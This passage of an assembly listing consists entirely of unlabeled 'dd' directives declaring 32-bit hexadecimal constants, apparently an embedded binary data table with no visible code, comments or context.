dd 0D6E73880h, 3C99008Fh, 84510E3Ah, 0C7728829h, 59B85000h
dd 0B1B0EB79h, 54D4011Bh, 0AB51619Ch, 80DAE5D7h, 0E42E8F10h
dd 38EA230Ch, 3C007253h, 0A5D4C7EFh, 3738E655h, 5A04F781h
dd 360FADCDh, 0D2230D00h, 4D006A77h, 49F9917Bh, 356124Ch
dd 0A6B2BC73h, 38F0D7E7h, 9B00C557h, 40CC18BBh, 7EE5FBh
dd 0D00510BDh, 14936995h, 7CD2BC1Fh, 0FC8016DFh, 9264B94Dh
dd 84320061h, 7B2FB272h, 0C23E9C55h, 1C9F2CEDh, 5626CC80h
dd 3C6C39h, 443303A9h, 0F2F5F55h, 5E777800h, 65D758B0h
dd 59E439E7h, 73C4FB00h, 169DDD01h, 7F3BAB00h, 6B798024h
dd 0D21200C8h, 44E35E11h, 0F3CED01h, 0D50E87C3h, 0CFB7FC61h
dd 0DB114880h, 59B300C7h, 76D6CA28h, 724B61Ah, 0F0218162h
dd 8DCD9040h, 0D4980588h, 0BBA1AD69h, 0EE12600h, 5A1BB8h
dd 0BBF76AD6h, 16B53B29h, 0DA4F3807h, 1DD0FECBh, 7DC8AAh
dd 372DBBF0h, 0AFA19814h, 9C055Dh, 0AA90A63Dh, 1F848B6h
dd 0A10B13B8h, 31B560B2h, 66D601A4h, 5BF4406Fh, 31EC0614h
dd 98DAEF24h, 8D0714h, 0C5FA9F10h, 1D5FAC08h, 246171h
dd 0C37CDC6Bh, 0F5005B0Eh, 0F888160Fh, 0AB928Ah, 12A66DF6h
dd 0B1211883h, 5D25FE17h, 657014h, 0F6CF5764h, 3FAA3CD4h
dd 3A396D49h, 3BA84283h, 37E3EBE8h, 0BB57C11Ch, 0D183C95Eh
dd 0F8496A0Ah, 94F3609h, 82314C96h, 6051D082h, 0D49F4560h
dd 790FDE04h, 0BC90BE1Eh, 1D0E4198h, 82367A59h, 9F8E406Bh
dd 0FC43C983h, 1293D2B0h, 0F4706E38h, 0E1ACFD16h, 2FC5A05Fh
dd 0EC808B51h, 63569Bh, 0D55E3EC6h, 3674B4D9h, 68529DDh
dd 0C0EF378Ch, 0AC553D45h, 9E1BD70Fh, 0B7BC21B9h, 5C384675h
dd 0E3000E22h, 3DC91049h, 0FE6167Ch, 736066EFh, 4132B2E0h
dd 0FC7859ACh, 9218AB07h, 0D13087BAh, 3CA6A007h, 37F4034h
dd 0F25502FFh, 45B12E4Eh, 921BDC74h, 0DE8BD300h, 0FA56AD90h
dd 307500C9h, 3F0221D2h, 42ECA7Fh, 17034925h, 0C06635AEh
dd 13644B38h, 3A478Ah, 1AA9F75Ah, 0BD7F2D7Eh, 0BCFFA805h
dd 0CCC0AA5Bh, 1E94D875h, 0C94E7661h, 44A0652Ah, 0D7DDF1D3h
dd 7F0A3A0Bh, 2B84005Dh, 2B4965Bh, 0B6F7184Fh, 0FB40C64Ch
dd 0D300F6FDh, 2F046272h, 0B82BD55Ch, 50F8E0C0h, 304DA3A9h
dd 4E71B809h, 20DD2EB0h, 46157680h, 0EC32F073h, 0F86CB052h
dd 0A99700D3h, 5D7E6231h, 8400F9FCh, 89865B64h, 0FDDD14h
dd 0AEBBE1A2h, 2D3515E3h, 723DAB01h, 0AC27D1B1h, 665DE0D7h
dd 0C291EC02h, 0C6A90D80h, 0EA346200h, 31280084h, 0EB216D8Ch
dd 7500A1F2h, 0E8C7CBBBh, 29DD9D4Ah, 1C4309h, 59EEEBBCh
dd 54A0782Fh, 3A00A355h, 22859CCAh, 2D5CF6h, 0F7C995F5h
dd 0C1FB13A1h, 522EFA1Ch, 91ADB383h, 15A9F848h, 4C980006h
dd 0F0C9FBF3h, 0AF07EC60h, 73830885h, 9D819507h, 0B4C82BE7h
dd 3DAE00EEh, 0C355AC5Dh, 2CFA91CAh, 0D98A6B07h, 4914D60Dh
dd 0D497F1C0h, 0E3A4038Eh, 0B981B20Bh, 6A61BBA0h, 0AD002273h
dd 71C09B4Dh, 16F094h, 3A4F2D3Fh, 0F6EA1B58h, 211DD67Dh
dd 4A80D469h, 9192437Ch, 1082D28h, 1B00B57Eh, 0EA047848h
dd 5EF70072h, 2A4EEFB2h, 28003301h, 0CE87B89Ch, 163D26F3h
dd 14CC150h, 73392A58h, 3B10404Fh, 4E4DF07Bh, 43480108h
dd 0B0EA0CB4h, 3E551180h, 0F8275991h, 3224EE19h, 2180A609h
dd 0AF8BC435h, 0C90055D0h, 0C06DCF39h, 3568B120h, 2687F1Fh
dd 50DB608Fh, 5D3CD4A0h, 731245F5h, 0EAE1666h, 0F88B1526h
dd 0D413D420h, 54FE0AF5h, 7FA2E003h, 0E0426A79h, 0C4B433CEh
dd 90834AE8h, 4653A460h, 0FC9E0200h, 50CC2D29h, 0C6660064h
dd 270B5BBEh, 720CCB48h, 0E91E54C4h, 6A570028h, 1759AAFCh
dd 7664A252h, 54B01D08h, 6A5F0062h, 12F8DB65h, 0A1027028h
dd 2F6F88E5h, 70BC2A6h, 76024F94h, 28B08010h, 9F2974h
dd 0BED9FBCDh, 2D0256EEh, 5B177A00h, 96AFED64h, 99890093h
dd 81A835CDh, 84000F2Ch, 0B3035942h, 380172h, 0FAD7D6D3h
dd 0FAEFBBCh, 6DA12D00h, 6BCFCC90h, 4F6503DEh, 0BA32B9BEh
dd 3D0819C0h, 9C0B6900h, 54F01707h, 357C00FEh, 5DFCF2BEh
dd 0CB007B5Ch, 0E09D3D89h, 7436C9D9h, 69460018h, 7BC8C037h
dd 4C00E83Eh, 5235B775h, 0A59002h, 0AB8F1A7h, 0F396A01Bh
dd 875B4100h, 1EC16D27h, 7E0D3271h, 49508C8h, 0B3A60077h
dd 7079CB37h, 7DBB7A00h, 0CF0C3465h, 289D6092h, 1286CEC5h
dd 9A0493F8h, 204EC8D9h, 82190FFEh, 0FFC1EC0h, 0ED32C2A5h
dd 10B6297Fh, 0BA897701h, 7A45CB08h, 5611D6D9h, 100612BDh
dd 0DE8973A0h, 7E456108h, 6A11FAC9h, 82EA127Dh, 2578F63Ch
dd 4A1404EEh, 0D706447Eh, 0E7717842h, 88FBE80Fh, 92947713h
dd 6F5F1828h, 88FD5629h, 134032A4h, 0C951C02Eh, 0AD0DEE2Dh
dd 728ACF3Bh, 351C6400h, 54FD7C60h, 32CA07BAh, 473CD9D7h
dd 0D453510Eh, 0EEA3E8F3h, 7F7C13EAh, 0EBF40100h, 5D40A2AAh
dd 10690E6Bh, 0EC604416h, 59C76319h, 0C1FCB800h, 3447316Ch
dd 1A830013h, 6DB9860Fh, 4EB8911Eh, 0B6EDD507h, 2950E8B1h
dd 59A80Bh, 6267F03Dh, 0EA2AC994h, 44425B00h, 692EAFDDh
dd 1841011Dh, 8A832CA6h
dd 27CAC06Ah, 0B2BCF013h, 0DAB47303h, 0DFF8A066h, 905C51BEh
dd 141E2451h, 188676ECh, 60CB414Ch, 7A0C65F7h, 0FEB1513Ch
dd 0E2C64C2Ch, 8D0DBE00h, 0E9A39E80h, 982D1300h, 0ABED10D9h
dd 0ECEB012Eh, 0FFDB051Ch, 2472F0BAh, 758AB801h, 8AC32B6h
dd 0CB2A8DCh, 80FECBEAh, 7900CF80h, 0F205B444h, 70C37Ah
dd 9C69223Fh, 0C7B68E0Bh, 86307F00h, 3B998A93h, 0AF475CFAh
dd 3CB90076h, 0E74AD02Ch, 7B1CB608h, 61008481h, 85AD9D1Dh
dd 0F97500FAh, 0D3F490BAh, 38001EA8h, 945819BCh, 3C8ED88h
dd 0A796BDF7h, 81884AE5h, 0C4A024E0h, 0F8BF9811h, 7AAE03A0h
dd 0AD4C7415h, 8165B000h, 0A8C1DB40h, 3B2EFCDEh, 700F846h
dd 0EE399FE9h, 5A00BE81h, 0F06E0DD2h, 3BF80EFBh, 0C380664Fh
dd 774ABAFAh, 0B50218E4h, 0D0745F10h, 9A144063h, 0EC3E0026h
dd 4167648Bh, 0FC008337h, 0EE4E5E12h, 0B4C89h, 0BB11528Dh
dd 4DCDD658h, 0BAA06500h, 2DAB8EDAh, 1C49001Eh, 9BB28173h
dd 0C5F41020h, 0E063DC00h, 5CC166E7h, 7009095h, 0A7578619h
dd 9820FB6Fh, 153E5E40h, 1A0260C0h, 0E0339B65h, 0CAEF0E49h
dd 0D4E06DE8h, 4DA0E6D0h, 3B7BEE00h, 822662C2h, 5FAF0910h
dd 60006740h, 1AD5980Ch, 0B331E914h, 0DFC107BCh, 8CC0D2C2h
dd 0CEF605h, 7D19951Dh, 0B20937C0h, 0AFD92C03h, 0A0DF58BEh
dd 20103Ch, 0A8856705h, 0F97E471Bh, 5AD7E100h, 0D126BBD6h
dd 0FF9600BAh, 990322F4h, 701C7CF7h, 0E04AF0E3h, 741EDC53h
dd 0BB9B2384h, 101E3907h, 3B3F9A5Eh, 94FA7F00h, 2CD0BDCBh
dd 0AAE400EBh, 5527233Dh, 43BA1C5h, 1C4BE47h, 0BE61B322h
dd 0D1D88E83h, 0DAFB00D9h, 0E08D3032h, 0E608106Ah, 0C0E15FF8h
dd 55869AE4h, 4CBA2C0Fh, 0EEDB40AFh, 38EC1CCh, 0AB413EB8h
dd 0FAA8395Ch, 2D1EEFC9h, 0AF806F95h, 23BA094Ah, 46CD0051h
dd 6E2CAAD3h, 4F28EBF2h, 2800B093h, 0B19CE1FCh, 0B14BEB7h
dd 2B908DD4h, 6099BEE3h, 0D0A82020h, 0FD5353Eh, 0E5C1048Eh
dd 0AA004DDEh, 0E13A8CF1h, 3C9C2CA1h, 6C610014h, 0CE1A8811h
dd 241BDC24h, 0C4D4803Ch, 427B956h, 0AEF900E5h, 8DF4D9FCh
dd 0A4002075h, 0D5E1FA74h, 0AA9D7h, 8E1405E7h, 0AEEA834Ah
dd 56DF841Eh, 47694502h, 0E65CC8E3h, 0C9FB00E8h, 40422337h
dd 0D001078h, 22AF2C3Dh, 0E46C8B39h, 0DF25028Ch, 7B1F76F6h
dd 9EE64860h, 0CA367003h, 0B02F8E04h, 48BCB974h, 60001C8Ch
dd 0B895A13Dh, 77180E2Eh, 0E771A04Ah, 63F630E6h, 0E0DDD7E8h
dd 0F5792902h, 0C055385Bh, 56A8A0h, 2B616226h, 0A1B2CD43h
dd 0B1AEFA01h, 2488284h, 0EF9CE8h, 8F6D2480h, 57E987A0h
dd 3762BE00h, 0FD130645h, 215F003Bh, 0AAB7A72h, 2D7714FCh
dd 264AA260h, 0D40DDDh, 99EC11BFh, 0ACBE7E4h, 40AA2800h
dd 266C5747h, 689F4C80h, 1201BF00h, 84356F34h, 6E0ECC00h
dd 0BF208CAh, 0AD2400B0h, 0FBD82B9Ch, 0E098791Ah, 0C1A84224h
dd 1C012326h, 32668788h, 1F75C8h, 3754B8ECh, 0DCF892D7h
dd 45C52B07h, 0AC93CBD2h, 7E7AE914h, 23206C61h, 74BC06A7h
dd 20D964D5h, 72AD75A0h, 54439B24h, 0B4B94800h, 734D8E22h
dd 85F263h, 0E8659F3h, 0FD6DE036h, 5A677A01h, 0CFDA4719h
dd 4E0660h, 8745EB6h, 2181DEA7h, 0E2EB05Ch, 0EC200B0Ah
dd 92F8D1h, 6E32933Fh, 0B751C7CDh, 84033377h, 0A467B52Fh
dd 0EEEC9878h, 13821CC4h, 57C20B17h, 6340550Eh, 232BACAAh
dd 8F060B1Eh, 424191C0h, 729D61FAh, 0B5960090h, 8E43AA02h
dd 1600F673h, 1EF9EFDh, 9AF4A5Fh, 53ED7BBh, 5478B480h
dd 0DCE93036h, 8F07112Bh, 5B2E1E2Fh, 0AE4791E1h, 612830h
dd 0C5E5E605h, 228702A4h, 0A5BADA00h, 4CF31473h, 6AA20052h
dd 89A4FD8Dh, 0DA02EFACh, 3ACA8BB0h, 90617747h, 0E38CD46Bh
dd 539AA204h, 28C0DF64h, 0E89C0Eh, 6B6925D1h, 0D36D4087h
dd 2DB51407h, 5EB0EE77h, 398B5165h, 0B1805962h, 81976085h
dd 67002DC4h, 0F0067670h, 0A0EE2069h, 73B990E4h, 79070052h
dd 0CBC70F1Dh, 3D00E966h, 0F81C9F91h, 71F29835h, 2810BDFh
dd 84D750C5h, 4885DBD8h, 0BA84D000h, 0A56057h, 632B763Fh
dd 43E07FD8h, 0FB00487Dh, 1D5D2CC3h, 0DCBC8Fh, 82ABE65Ah
dd 3D57F822h, 81ECDD38h, 0B91C3A6Eh, 56D8920Bh, 4C09002Bh
dd 438645D6h, 3000EE76h, 0AE3E3DB2h, 0B122FA6h, 0DC524826h
dd 880AE409h, 36310020h, 6606A728h, 341D2500h, 1103BED4h
dd 0BCE40043h, 936791DBh, 4B00A17Bh, 6B71305Ch, 751913F1h
dd 54EE57h, 29BB911Fh, 63813FE0h, 760FA800h, 0ABD9F59Dh
dd 0D65C0033h, 0C3600AD5h, 42092018h, 809250BEh, 0D7E3DEC4h
dd 0E18C7B81h, 0B075C3D4h, 0D4DD0052h, 0CD7D856Ch, 2B00534Bh
dd 0FF7B868h, 2E2457B5h, 0A4318Ah, 0D7CCD150h, 6FE2129Eh
dd 0F69A2907h, 42378A35h, 633B4CF0h, 969F0036h, 8C041601h
dd 1551A046h, 0C8C0EC88h, 0ED0024B1h, 0A573AA35h, 0E7D7007Fh
dd 0AEB6F9ACh, 1C26CA48h, 0B8001C1Fh, 19163727h, 0E13B0EA1h
dd 0F6C2A786h, 0C8662Fh, 8424D263h, 0F5036CB2h, 1E4EF25Dh
dd 0C1CEFAh, 7B3F43B5h, 0FE7B6F8Dh, 17A30600h, 491AE5D5h
dd 29E61CEDh, 144F063Eh, 2A0268B2h, 6CF8E92Ch, 0A54E4083h
dd 5733014Eh, 596F3D49h, 36DECBBh, 0C3DF5503h, 89F5E24Fh
dd 0A3DCFD68h, 0B1970019h, 3565C4E6h, 0DAF25B92h, 0BB396AE0h
dd 639301F7h, 0CE62FDFBh, 3803A0E0h, 0DD009461h, 0E4BCD56Dh
dd 5800FA07h, 0BF6CED63h, 1D69A126h, 3C2E81h, 9B1CEFA4h
dd 80A84777h, 703C4CE2h, 0FBAF00D4h, 92C027A8h, 0BF1A0005h
dd 0D7745DCCh, 980AB235h, 0E4190AF7h, 750AECA6h, 0ED80E418h
dd 1C87FB1Ah, 85F81293h, 0DBBC02E5h, 7052CABBh, 68D61604h
dd 0A8800643h, 0F3B56F9h, 0D9F84893h, 14A7C2DCh, 3CC87901h
dd 5403BA4Eh, 0B9FA2F76h, 6F5001EFh, 0CEBFD3AEh, 0E7C0F385h
dd 4A01106Bh, 33A8F26Ah, 34BE8Bh, 411E3CDCh, 687C5B00h
dd 0C7D7EA59h, 6A799818h, 0D3B120h, 0F179334h, 6D0CB2BDh
dd 0D80226h, 57603F00h, 0F883264Dh, 275B003Ah, 0AD366623h
dd 0C93ADF33h, 3F6B01F4h, 0B8353121h, 2440F361h, 780ECA14h
dd 0DFA3005Eh, 0CB831FF5h, 8F00439Fh, 470331A6h, 0C209FEh
dd 7032DD9Bh, 1B1D44C0h, 71977500h, 73FE2B2Fh, 0CAC403C9h
dd 607457C5h, 9B1FB004h, 54B41392h, 406758B8h, 28DA26h
dd 0E37F11Bh, 7FEA88AAh, 955F1F00h, 0FC947C97h, 66F00039h
dd 7432ACDCh, 2A7636F6h, 43D83500h, 0EE3ED5Eh, 0FD570026h
dd 73C7F9B3h, 677EBA3Ah, 0F041D700h, 29E11DE7h, 0A8B8CCh
dd 0C08EA3Eh, 0D898E06Ah, 7E49810Eh, 0C2FF604Dh, 3C6C00Fh
dd 3B855DC5h, 3EE8E546h, 0AE051DBFh, 0E3A9190Dh, 0F1812093h
dd 7CC47C2h, 3F650063h, 930C143Ah, 0F2E45377h, 6ECA8500h
dd 4C68821Eh, 0B37A008Fh, 275A6A2Bh, 36004B57h, 812CE8CBh
dd 2473F984h, 80644h, 0EC217BAEh, 0A6004119h, 0FDA68CAh
dd 0C2F8DDh, 99FE0C6Bh, 56C6F142h, 23E88F00h, 0B620F481h
dd 0ACCE0EC4h, 34400FFAh, 70687F3Dh, 1465C526h, 10D34082h
dd 4E602080h, 0AA00C083h, 0C35AE6D1h, 9BB8A6Dh, 2077584Bh
dd 89BDAC80h, 1E008422h, 0F4C75591h, 5837D665h, 3600102Ch
dd 31CF7371h, 8C3BC6EBh, 8618E0E9h, 0D0611Fh, 0D4366ADDh
dd 5AFA4EA7h, 0A62D7A09h
dd 0F910004Bh, 7040F2ABh, 0DFE10070h, 0CFFDED2Bh, 3E3A3ADBh
dd 71950028h, 0BDB281DDh, 60C51D5Eh, 7D86003Fh, 0A64FAA5Fh
dd 0E81E7F75h, 0F9871CDEh, 89BBF1BAh, 0A2328074h, 0F83BE1FCh
dd 1E1A00AEh, 32E6D69h, 0E1EEF4Ch, 0A20A5612h, 0E0B9FC9Eh
dd 0BF4FC538h, 30C758E0h, 57B86C00h, 0EE55719Eh, 45220103h
dd 0A0ED14BEh, 1F413D89h, 3D1A9313h, 0D8AC3080h, 0B5F39697h
dd 7891B0A0h, 0F17B5672h, 0CF167200h, 0A3FBE449h, 27230047h
dd 1DDA9302h, 7800B221h, 82B81FD5h, 5C8A77BAh, 6600B536h
dd 0B13CD7DBh, 8312EA15h, 100202D4h, 7A788B9Eh, 5D7B48h
dd 0AF544AEFh, 5340706Dh, 0A14E1100h, 0B5347B17h, 5310133h
dd 797832Bh, 28E3F9E9h, 0BE250E08h, 5D3000A6h, 1FD43375h
dd 0A1FB36h, 343A9F4Eh, 472CF826h, 0E4023889h, 50D3B942h
dd 0E6E903F8h, 7D7BDD2Ah, 9BC4F00Fh, 3403B233h, 9438562Eh
dd 83F1ACC0h, 7FBD3C1Fh, 4EDAEE80h, 0CA197DA3h, 35BEA700h
dd 8A2EC208h, 8EA81E33h, 2005009Bh, 9FF8D9B2h, 0D53D6B05h
dd 0F08056B6h, 39AB58h, 5A4A4DEAh, 0F7B7952Ch, 5B30113h
dd 0EF367440h, 9852E558h, 247B7AB8h, 0C295E2Ah, 15B808B2h
dd 607F818h, 1278930h, 0FE01BC48h, 0DD428239h, 0F2844070h
dd 1C00516Fh, 0F5ABD819h, 3AE60D5h, 996B8B43h, 70A94EA4h
dd 87E4E028h, 2D063001h, 0C76FCD94h, 191B53D8h, 0E0E10CF6h
dd 4CD3D47Eh, 4100D49Ch, 0C33F36DEh, 0B137872h, 0B818920Eh
dd 68FC18C0h, 53BBCB1Fh, 7F553907h, 86698EB0h, 54F700E8h
dd 7885CF64h, 2B001C6Bh, 0C3B3AFF2h, 0E0034002h, 305E0422h
dd 0C0ADC98Fh, 10C63C78h, 0BC2A3405h, 2180EA3Ah, 9D7A14Ch
dd 39230C5Bh, 6587FA01h, 99D97024h, 0A9573030h, 7598F1h
dd 15B51217h, 83CCB2EDh, 67871C03h, 0C85FC643h, 8154FDh
dd 84BC1A51h, 0DA9C7B97h, 850056B0h, 0B6FAC73Eh, 359391h
dd 99F7E78Ch, 0ABFE1069h, 20DE1825h, 0BDF83C90h, 9F110E14h
dd 16E621h, 9836262Ch, 91F810BFh, 64001A90h, 0B2E141CAh
dd 600970E6h, 0BB8B2854h, 731A5EE3h, 80309BE9h, 0EF5093FFh
dd 7F10C09Ch, 2AA9B0D8h, 0C89A0428h, 256B8E27h, 0D890D198h
dd 6D44967h, 31C489D3h, 2E00267Dh, 1084BDDDh, 510E26h
dd 1D47B46Dh, 0BFB12B72h, 2533A70Eh, 0E034EF8Ch, 9D3B8F5Bh
dd 260F0005h, 773FF3AEh, 7A5817D7h, 0BB240034h, 736A9658h
dd 0FC99581Bh, 0FC0CA414h, 0F6AF830Eh, 444FD0E0h, 7700EF4Dh
dd 9E626A21h, 4090Bh, 0EC2B5732h, 0EB24237h, 2024AD27h
dd 6BB99518h, 0B01F4856h, 0DFC41473h, 260EDE68h, 7814B1D7h
dd 0F67FB000h, 2F65B39Dh, 0FE701F0Ah, 42008087h, 8C84DC8Dh
dd 45202569h, 0A5E33CB0h, 0ED87621Ah, 0D8C07F18h, 0E8A06AF1h
dd 4758DC34h, 79C2648h, 0F83E6D00h, 0DD9F395h, 0EFA03FE1h
dd 6001DCAAh, 497AEA01h, 0DE9DE27Fh, 26435870h, 5A869Eh
dd 0EE35F6D6h, 0E40777F2h, 1E687021h, 14BF3310h, 98E51CE3h
dd 28A4C041h, 84AA0AD9h, 0F8A00E51h, 4000168Bh, 0ADE7B22Ah
dd 3F3DDCCFh, 2880424Ah, 0F7126369h, 9C09CB0Bh, 0B6E4EE4h
dd 0B318A026h, 0F98E79h, 7B6BBABFh, 18484024h, 5577A0A0h
dd 0D860E24Ah, 288DDE91h, 2CEAD98h, 0C223A112h, 64406D58h
dd 641E3FD2h, 4024578Bh, 0BBECD700h, 841941h, 0EDB0E13Ah
dd 4021836Eh, 7404AA4Fh, 8890DD8Dh, 1F8462Dh, 1705E7FAh
dd 3008D20Dh, 3412EB9Dh, 570A09A4h, 0BA078836h, 405F1A01h
dd 8B53A8CAh, 39F10444h, 80563DC7h, 8ADF32C6h, 58225A00h
dd 0D55588BBh, 2BAF01DAh, 692AD336h, 0C0F4C715h, 0C0ED3522h
dd 0B04D2400h, 0F3DC3E77h, 9A59004Bh, 75E3A4ADh, 3C0B29FAh
dd 0A2DF9BE1h, 90C22728h, 269D738Ch, 80A0FB0Fh, 732A016h
dd 3D0F2294h, 0A0F7BD93h, 1C1361DFh, 0B3490762h, 423A9EC9h
dd 30E09284h, 0B00C470h, 83D9D64Ch, 3F36B38h, 332BA9BEh
dd 5800697Ah, 0F0B0D1CBh, 0F6907CEAh, 72D00EDh, 0FE6EA9A3h
dd 2E7E3C3Eh, 391F358h, 0D228C994h, 0D906C06Ah, 2D100026h
dd 9669245Ah, 5F00A603h, 78881ADFh, 1F447BA2h, 80C48F77h
dd 5595EFB6h, 0A9059A2Ah, 91E10D05h, 977360C7h, 47BBA816h
dd 58D4136Dh, 231080E2h, 96008963h, 2720A4FBh, 0A83C2A2Bh
dd 86D894h, 66F9D239h, 9E9AA99Bh, 0ACDEEB0Fh, 4EC26093h
dd 125AF59h, 8691E826h, 0F9EB1E2Bh, 22D3F8C6h, 3F0070B6h
dd 0DE052925h, 5F4F00D8h, 638B7670h, 0C2025EDBh, 9C7E927Fh
dd 9A24789Ah, 0B054FE8h, 0F80A4424h, 30B105E8h, 0B018B4E1h
dd 68E97B18h, 0F79EBF21h, 1020C3FDh, 4FD4B4A8h, 8C4DD08h
dd 560D3444h, 0EBB44830h, 0BCA8144Ch, 0C501EC69h, 4FA1653Eh
dd 9F6E70D1h, 141F121Ch, 0F6789480h, 0A8AECD09h, 0C1A5D8h
dd 1D447739h, 4FF8BA9Ah, 3C46D00h, 0DED8F2DFh, 0BDAE3029h
dd 0FCF32FB2h, 3CD058h, 0D653BF8Dh, 71A178C3h, 68863F20h
dd 2498C0D4h, 99FD46h, 5AE65E28h, 1E09B05Fh, 81925368h
dd 626F32D8h, 5D25F4h, 0ABE412B3h, 968186D3h, 0CD006576h
dd 0E8377C67h, 289455B9h, 8C0598Fh, 5F1C1F4Bh, 6FBFE060h
dd 268C9068h, 61CDECh, 51F09F32h, 70004AAh, 2A210EE0h
dd 0A035FF18h, 0A871BCh, 0C5E7F95h, 0F0346BBCh, 60E48000h
dd 0E801BB22h, 7A2504FBh, 0C54B1B82h, 880FF5Ah, 13D851h
dd 0BF73D2F2h, 9174374Ah, 80CA8E00h, 1E783176h, 0CB3E00DFh
dd 220C1FF1h, 0FE0087B2h, 346DD9C7h, 608D8EE0h, 996E665Ch
dd 89001DB6h, 5603A773h, 92E5B8h, 2A16CD6h, 0ED8C4B47h
dd 0BAD0CF3Ah, 988A0053h, 0AFB86630h, 649276h, 7D57B00Bh
dd 0A6FCDA55h, 0B4F60302h, 5607E1E2h, 0D6A5027Ch, 0E1406862h
dd 6900404Ah, 9B646F8Dh, 5E896h, 8B02992Eh, 0A91BF3A0h
dd 75FD3848h, 0ABCB300h, 2378CE01h, 4BB9002Bh, 2F381ED6h
dd 4A4A57ABh, 9708BC00h, 87B045h, 81C6BED8h, 550E27F9h
dd 0E020C76Eh, 658E1B4h, 874318D3h, 0CB01990Ch, 13C4894h
dd 0C16C3FE4h, 55D0EFE2h, 65AE075Ah, 0C19FF8BBh, 3448FF16h
dd 40571DCh, 0C1BCE185h, 0D7014000h, 0ECF948h, 2EB734DFh
dd 392AB452h, 0F5E86701h, 0C2BC1831h, 0F8171841h, 59C62841h
dd 5C4FB08Eh, 40BD3085h, 0EAD6CF2Ch, 0E51DA50Fh, 220090F8h
dd 1A92CAB1h, 213300F7h, 127295B3h, 0C5003965h, 0E109AAA4h
dd 1E7FF0h, 77C0DFADh, 2E2A3C18h, 9D8DBC02h, 551F1990h
dd 6974B960h, 0D600BA75h, 8DE91A64h, 2C73C93Dh, 758EB8h
dd 0BF0F94DBh, 201D3174h, 0E7802C2Ah, 52495785h, 77A200C1h
dd 4E39D77Dh, 0B600087Bh, 7F45317Ah, 294066h, 0FD1F4C42h
dd 82E7965Eh, 0CCB5706h, 1DE183A0h, 577B30DEh, 47721F2Fh
dd 43417F17h, 200ECAFFh, 407B3AD7h, 0AEE07EE9h, 0C2DB48BEh
dd 466E1400h, 0B3602DF9h, 0B6D46350h, 6CAA9E1Fh, 3132BC3Bh
dd 150118DCh, 6497B440h, 0A4B806BCh, 40138AC7h, 99CCA395h
dd 0D9100AEh, 4B435C61h, 95004D6Dh, 82ED6352h, 3018CDA5h
dd 73380B36h, 1C92C13Bh, 26F1111Dh, 4218CC00h, 0E466D7Bh
dd 78DA41FFh, 7A60B72Eh, 6411F519h, 685D1D00h, 932FD92Ah
dd 31450087h, 50E40D72h, 0D41E076Eh, 0F200F9EBh, 5A2C9A57h
dd 8DC900B9h, 93F1B835h, 132E9F85h, 6905FD6Ch, 87185AC0h
dd 0C3955709h, 0C45DB320h
dd 821A49E9h, 0D48AF310h, 0B57B403Fh, 0CF2B03AAh, 54711951h
dd 0A7694980h, 1A01227Ah, 42A01B7Eh, 3880843Dh, 2F5A6593h
dd 1603FBB7h, 90068108h, 6EA307h, 2F633821h, 1615EEECh
dd 4D00EF77h, 0DFFA3D71h, 0C772D18h, 858DCBB3h, 92040B71h
dd 0C7020152h, 0FC93A118h, 1D7D1F00h, 0AEFAB960h, 4548A95Ah
dd 2F1F6118h, 790FBB8h, 2E8A37B0h, 2BC7F600h, 7A611CABh
dd 0CF6C01D8h, 0FE1D159Ah, 852880B9h, 233722CAh, 91251859h
dd 1CB62074h, 0CEFAA01Fh, 0FC80A558h, 0F0470012h, 1ED26164h
dd 0C91D7797h, 70C07485h, 63D8E21Ch, 33B9A0B6h, 6E4E3D3Ah
dd 0BC521B00h, 0DCD0936Ah, 0C4D18B51h, 0F3008E7Fh, 774F9D91h
dd 21E53Fh, 4213B9DBh, 0FD2D05DCh, 0D601E4E8h, 3ED38902h
dd 0D530749Ah, 5BB1F29h, 0C75ADDC2h, 20795F0Bh, 2FCAAE87h
dd 0BAFB2E00h, 4B3F23ACh, 0ADA003A5h, 6C0BFC4Ch, 28C27BF3h
dd 0D6E006C0h, 701C3F00h, 0EE7A4CD1h, 5BC77D8h, 0C772ABFBh
dd 0BB042A91h, 8BEBC400h, 6EF61ECh, 43E91C00h, 582FF68Ch
dd 2A0E00D4h, 0EDB7D2AFh, 111E8B97h, 151DAEECh, 0EE03073Eh
dd 0DEC04682h, 71060AEBh, 0D23904E4h, 813C5FE8h, 0F04C1285h
dd 3E025EF1h, 47E9B372h, 0F40E08Ch, 61F3018Bh, 5BB2D5ACh
dd 0EEB4E0EAh, 26A03Fh, 0BA8FE483h, 0CD37B64h, 5B8866BDh
dd 140343B8h, 83F730FCh, 3219B0C1h, 786E70F0h, 1F6600CFh
dd 43926095h, 29DEF251h, 0B840861h, 1A82C390h, 19022C28h
dd 6342215h, 8E216724h, 828D122Bh, 240D4228h, 2F73216Bh
dd 1482D112h, 0C82F055Dh, 2E3C8890h, 8884A590h, 42934802h
dd 0E924498Ch, 12AFA021h, 42781177h, 648FDD50h, 3B94B168h
dd 537F1114h, 6608E121h, 843F9008h, 0B5404D4Eh, 0F53218E7h
dd 7942B600h, 60241922h, 0D7FB0029h, 6B4EEDCCh, 0CDE44528h
dd 14BF8800h, 50D52E39h, 32330099h, 936B91F2h, 0C00F413h
dd 175CFDF9h, 7562ACh, 0ADE8C04Ch, 11E784BEh, 243BE5E4h
dd 7A9B07DEh, 80BBD156h, 1E2C9C4Bh, 0D800077h, 7D92A7A9h
dd 9800ECD9h, 41B9147Fh, 5C3AB2h, 949C7112h, 0FE64BFAFh
dd 9AA82600h, 2B88992Ah, 42F4BDh, 2475D209h, 6BE47205h
dd 16DEE718h, 181FA11h, 20C095B1h, 0BECEF81Fh, 6A698019h
dd 2C68BFE8h, 7AD400BBh, 4C30A6CAh, 0B8F8429Ch, 0F18A6403h
dd 9009FF73h, 7FF450h, 1612916Dh, 0BA7EDF3Eh, 94F8D478h
dd 0F06BF809h, 5BC400AAh, 48CB34A0h, 423BAA52h, 55B3C380h
dd 3897F2A6h, 0D80F3200h, 0BA9E648Dh, 0CFB0034h, 15934222h
dd 0DF3C06A7h, 5D4A8047h, 54FD9577h, 0F482006Ah, 73E313BEh
dd 8000AE7Ch, 101F1E24h, 30EC6412h, 0BBD82D03h, 0AA6057FBh
dd 9CA7CE20h, 3B890130h, 0A55B9043h, 2B02F013h, 867F1E0Ch
dd 7F41B0ACh, 8E3F0039h, 2ED625E6h, 60E31F1h, 0E71B66FFh
dd 75B062E4h, 1446471h, 94F5099Dh, 0E8468F9Fh, 7A14EF2Ah
dd 3D0B262h, 0A199D1F9h, 1FABE0F7h, 0B77FC1h, 721BEC0Dh
dd 3C2F9349h, 0F5994E00h, 9C620767h, 0DCA7025Ch, 2ABE6EF4h
